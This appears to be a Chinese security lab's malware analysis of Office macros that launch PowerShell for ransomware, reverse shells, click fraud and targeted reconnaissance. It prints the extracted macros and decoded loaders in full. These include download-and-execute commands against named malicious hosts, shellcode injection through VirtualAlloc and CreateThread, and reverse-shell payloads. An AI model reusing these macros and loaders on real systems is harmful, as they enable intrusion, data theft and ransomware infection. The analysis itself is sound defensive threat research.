Powershell惡意程式碼的N種姿勢
Author:360天眼實驗室
0x00 引言
人在做,天在看。
技術從來都是中性的,被用來行善還是作惡完全取決於運用它的人。原子能可以用來發電為大眾提供清潔能源,也可以用來製造能毀滅全人類的核武器,這不是一個完善的世界,於是我們既有核電站也有了核武器。
Powershell,曾經Windows系統管理員的稱手工具,在惡意程式碼製造和傳播者手裡也被玩得花樣百出。由於Powershell的可執行框架部分是系統的元件不可能被查殺,而驅動它的指令碼是非PE的而非常難以透過靜態方法判定惡意性,同時指令碼可以非常小巧而在系統底層的支援下功能卻可以非常強大,這使利用Powershell的惡意程式碼繞過常規的病毒防護對系統為所欲為。因此,360天眼實驗室近期看到此類惡意程式碼氾濫成災就毫不奇怪,事實上,我們甚至看到所跟蹤的APT團伙也開始轉向Powershell。
本文我們向大家展示一些看到的實際惡意程式碼的例子。
0x01 例項分析
這裡我們基於360威脅情報中心的資料,對接觸到的Powershell惡意程式碼按分類各舉一例。
勒索軟體
我們知道現在勒索軟體以其直接的變現方式現在已成為黑產的寵兒,像雨後春筍那樣冒出來的勒索軟體中,我們看到了使用純Powershell指令碼實現的例子。
樣本MD5:ea7775da99367ac89f70f2a95c7f8e8e
這是一個透過Word文件中嵌入宏以誘導執行的勒索軟體,使用工具提取出其中的宏,內容如下:
#!vb
"vba_code": "Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://rxlawyer.in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub"
宏的功能是下載http://rxlawyer.in/file.php
到本地的temp目錄下,並用Powershell執行這個檔案。而下載回來的file.php本質上是一個ps的指令碼檔案,MD5為:dd180477d6a0bb6ce3c29344546ebdfc 。
勒索者指令碼的實現原理是:透過隨機生成加密金鑰與使用者ID,將加密金鑰與使用者ID資訊上傳到伺服器進行備份,在使用者機器上使用對稱演算法將使用者的文件進行加密。因為金鑰為隨機生成,除非擁有攻擊者伺服器上備份的金鑰,否則很難將被加密的文件進行還原。
指令碼的原貌為:
可見,指令碼做了混淆處理,簡單處理以後歸納出的指令碼主要執行過程如下:
1.生成三個隨機數,分別表示加密金鑰、加密用的鹽、UUID
把上面生成隨機數傳送到伺服器中儲存
2.用隨機數生成加密容器
3.得到磁碟中的所有的指定字尾的檔案
呼叫Get-PSDrive
,得到所有檔名
#!powershell
$folder= gdr|where {$_.Free}|Sort-Object -Descending
4.加密這些檔案的前2048個位元組後寫回檔案
5.解碼Base64得到提示勒索的html檔案
在html檔案的尾部新增上贖回金鑰用的UUID及當前時間
滲透測試
此類樣本大多使用網路上的nishang開源工具包生成的攻擊檔案。攻擊檔案以Word、Excel、CHM、LNK等格式的檔案為載體,嵌入Payload,實現獲得反彈Shell等功能,實現對系統的控制。
樣本MD5:929d104ae3f02129bbf9fa3c5cb8f7a1
檔案開啟後,會顯示檔案損壞,用來迷惑使用者,Word中的宏卻悄然執行了。
宏的內容為:
#!vb
Sub AutoOpen()
Dim x
x = "powershell -window hidden -enc JAAxACA[……]APQA” _
& "wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A"
Shell ("POWERSHELL.EXE " & x)
Dim title As String
title = "Critical Microsoft Office Error"
Dim msg As String
Dim intResponse As Integer
msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub
將宏中的字串,用Base64解碼後,得到內容如下:
#!powershell
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}
將其中的shellcode提取出來進行分析得知,這段shellcode的主要功能是反向連線內網IP 192.168.1.30的4444埠。
另一個與上述樣本有著類似功能的樣本的MD5為:1e39753fd56f17010ac62b1d84b5e650
從檔案中提取出來的宏為:
而這四個函式對應的功能分別為
- Execute:
用Powershell下載invoke-shellcode.ps後,透過invoke-shellcode函式呼叫指定Payload windows/meterpreter/reverse_https 建立反彈shell,反彈的地址為98.100.108.133,埠為443
其中部分程式碼為:
- Persist:
將Powershell建立反彈Shell的功能用VBS實現後,儲存在C:\Users\Public\10-D.vbs檔案中
- Reg
新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load登錄檔,值指定為C:\Users\Public\10-D.vbs
- Start
呼叫C:\Users\Public\10-D.vbs
而有時,為了抵抗防毒軟體的追殺,樣本通常會進行Base64編碼。
MD5:c49ee3fb4897dd1cdab1d0ae4fe55988
下面為提取出來的宏內容,可見程式碼使用了Base64編碼:
#!vb
"vba_code": "Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str + "6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw==" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "
解碼後的內容為:
#!vb
$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP
arameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}
function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;
$m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://192.168.0.105:4444/$n
" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
指令碼的功能是透過g函式隨機生成四位的字元,從內網網址下載後載入執行https://192.168.0.105:4444/xxxx
(其中xxxx為隨機四位字元)
這裡連線的是192.168.0.105為內網IP,此樣本很可能是滲透者進行內網滲透攻擊的測試樣本。此類樣本還有很多:
- eae0906f98568c5fb25b2bb32b1dbed7
- 1a42671ce3b2701956ba49718c9e118e
- 496ed16e636203fa0eadbcdc182b0e85
使用LNK檔案,建立反彈shell的樣本
流量欺騙
為了快速提升網站流量、Alexa排名、淘寶網店訪問量、部落格人氣、每日訪問IP、PV、UV等,有些網站站長會採取非常規的引流方法,採用軟體在後臺模擬人正常訪問網頁的點選動作而達到提升流量的目的。
樣本MD5:5f8dc4db8a658b7ba185c2f038f3f075
文件開啟后里面只有“test by c”這幾個文字
提取出文件中的宏中的加密字元解密後得到可讀的ps指令碼如下
#!powershell
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}
可見,ps指令碼的主要功能就是執行Shellcode,這段Shellcode的功能就是呼叫wininet.dll中的函式進行連線138.128.196.84地址的443埠。而138.128.196.84地址正為流量寶類的軟體用的地址。
探測控制
樣本對透過宏呼叫Powershell下載PE檔案在受影響的系統上檢查是否為關心的目標並執行進一步地操作,具備針對性攻擊的特點。
樣本MD5:fba6b329876533f28d317e60fe53c8d3
從樣本中抽取出的宏主要是根據系統版本下載相應的檔案執行
#!vb
Sub AutoOpen()
x1 = "Download"
h = "Str"
o = "power" & "shell" & ".exe"
Const HIDDEN_WINDOW = 0
strComputer = "."
abcdef = h & "ing"
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create o & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/cache') | iex } else {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/css') | iex}", Null, objConfig, intProcessID
其中的對應32位系統的cache檔案的內容如下:
我們對Shellcode進行簡單分析:
1.在記憶體中解密,生成一個PE檔案,在記憶體中展開跳到入口點處執行,將PE檔案的.BSS區段進行解碼,解碼演算法如下:
解密後的結果為:
2.判斷是不是64位系統
判斷虛擬機器
3.用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍歷IE臨時檔案目錄 ,用於判斷使用者是否是攻擊者的目標使用者
4.計算使用者和電腦資訊的HASH
隨後B03938處建立執行緒進行下面的動作
判斷ipconfig -all
命令中是否有.edu、school、hospital、colledge、health、nurse等字串
呼叫cmd /C ""ipconfig -all > C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP
(xxx代表隨機數)生成檔案,檢測.edu、school、hospital、colledge、health、nurse等字串
5.遍歷系統中的程式,檢測有否指定hash的程式正在執行
從IE快取中查詢使用者是不是訪問過這些網址:
透過WININET.FindFirstUrlCacheEntryW , WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache
得到net view
命令返回值中是否有pos、store、shop、sale等字串
傳送使用者資訊,並下載相對應的惡意程式:
其中,用這種手法的惡意樣本還有如下:
樣本HASH | 系統版本 | 下載地址 |
---|---|---|
f0483b9cfb8deb7ff97962b30fc779ad | 32位 | https://github.com/flowsdem/found/raw/master/rost |
64位 | https://github.com/flowsdem/found/raw/master/virst | |
fba6b329876533f28d317e60fe53c8d3 | 32位 | http://rabbitons.pw/cache |
64位 | http://rabbitons.pw/css | |
62967bf585eef49f065bac233b506b36 | 32位 | https://github.com/minifl147/flue/raw/master/memo |
64位 | https://github.com/minifl147/flue/raw/master/adv |
資訊蒐集
樣本中的宏程式碼下載執行資訊收集類的Powershell指令碼,很可能是某些針對性攻擊的前導。
樣本MD5:f7c3c7df2e7761eceff991bf457ed5b9
提取出來的宏程式碼為:
下載一個名為Get-Info-2.ps1的指令碼,指令碼功能是將本機的IP地址、domainname、username、usbid等傳送到遠端伺服器中。
0x02 總結
天眼實驗室再次提醒使用者,此類惡意軟體主要依賴透過微軟的Office文件傳播,使用者應該確保宏不預設啟用,提防任何來自不受信任來源的檔案,當開啟檔案系統提示要使用宏時務必慎重。同時要儘量選用可靠的安全軟體進行防範,如無必要不要關閉安全軟體,當發現系統出現異常情況,應及時查殺木馬,儘可能避免各類惡意程式碼的騷擾。
0x03 參考資料
- http://news.softpedia.com/news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml
- https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
- https://www.10dsecurity.com/
相關文章
- 程式碼除錯的N種姿勢2018-11-15除錯
- Python爬蟲的N種姿勢2018-10-16Python爬蟲
- 實現同比、環比計算的N種姿勢2022-03-11
- 解鎖canvas匯出圖片跨域的N種姿勢~2019-01-22Canvas跨域
- 使用VSCode遠端除錯惡意Powershell指令碼2020-09-28VSCode除錯指令碼
- Windwos密碼匯出的幾種姿勢2018-06-14密碼
- 惡意程式碼清除實戰2015-11-05
- SpringBoot 系列 web 篇之自定義返回 Http Code 的 n 種姿勢2020-01-14Spring BootWebHTTP
- Vue搭建前端監控,採集使用者行為的 N 種姿勢2022-09-14Vue前端
- 小程式各種姿勢實現登入2018-08-12
- Git Bash 提交程式碼的正確姿勢2019-01-05Git
- 一個delphi開發的惡意程式程式碼薦2010-05-10
- 一種將前端惡意程式碼關在“籠子”裡的技術方案2022-11-08前端
- Guava Cache使用的三種姿勢2021-07-22Guava
- Java記憶體洩漏、效能優化、當機死鎖的N種姿勢2020-08-04Java記憶體優化
- 問題解決:嘗試解決maven依賴找不到的n種姿勢2020-12-05Maven
- 機器學習&惡意程式碼靜態檢測2022-01-14機器學習
- UIWebView程式碼注入時機與姿勢2017-09-09UIWebView
- Java記憶體洩漏、效能最佳化、當機死鎖的N種姿勢2020-08-10Java記憶體
- 建立 React 元件三種“姿勢”2018-12-12React元件
- PHP 檔案操作的各種姿勢2019-02-26PHP
- 解鎖跨域的九種姿勢2019-01-25跨域
- 利用機器學習進行惡意程式碼分類2020-08-19機器學習
- Windows 惡意程式碼解決辦法(轉)2007-08-11Windows
- 【吐血整理】Git的各種撤銷姿勢2020-01-18Git
- 跨頁面通訊的各種姿勢2017-09-15
- Python 連線 MySQL 的幾種姿勢2017-12-05PythonMySql
- 諸多網頁惡意程式碼的分析及應對2016-08-31網頁
- FBI針對Tor網路的惡意程式碼分析2013-11-12
- Google:全球至少1/10的網頁含有惡意程式碼2007-09-28Go網頁
- VMwareMac版本漏洞可任意執行惡意程式碼2019-05-11REMMac
- 輕鬆搞定Windows惡意程式碼攻擊(轉)2007-09-19Windows
- 14-惡意程式碼防範技術原理2024-10-07
- 程式設計師該用哪種姿勢來理財2016-08-15程式設計師
- 程式設計師在家擼碼的十大姿勢2020-04-14程式設計師
- 論JVM爆炸的幾種姿勢及自救方法2019-04-08JVM
- 企業使用資料庫的12種姿勢2019-08-20資料庫
- 開啟Flutter動畫的另一種姿勢——Flare2019-07-02Flutter動畫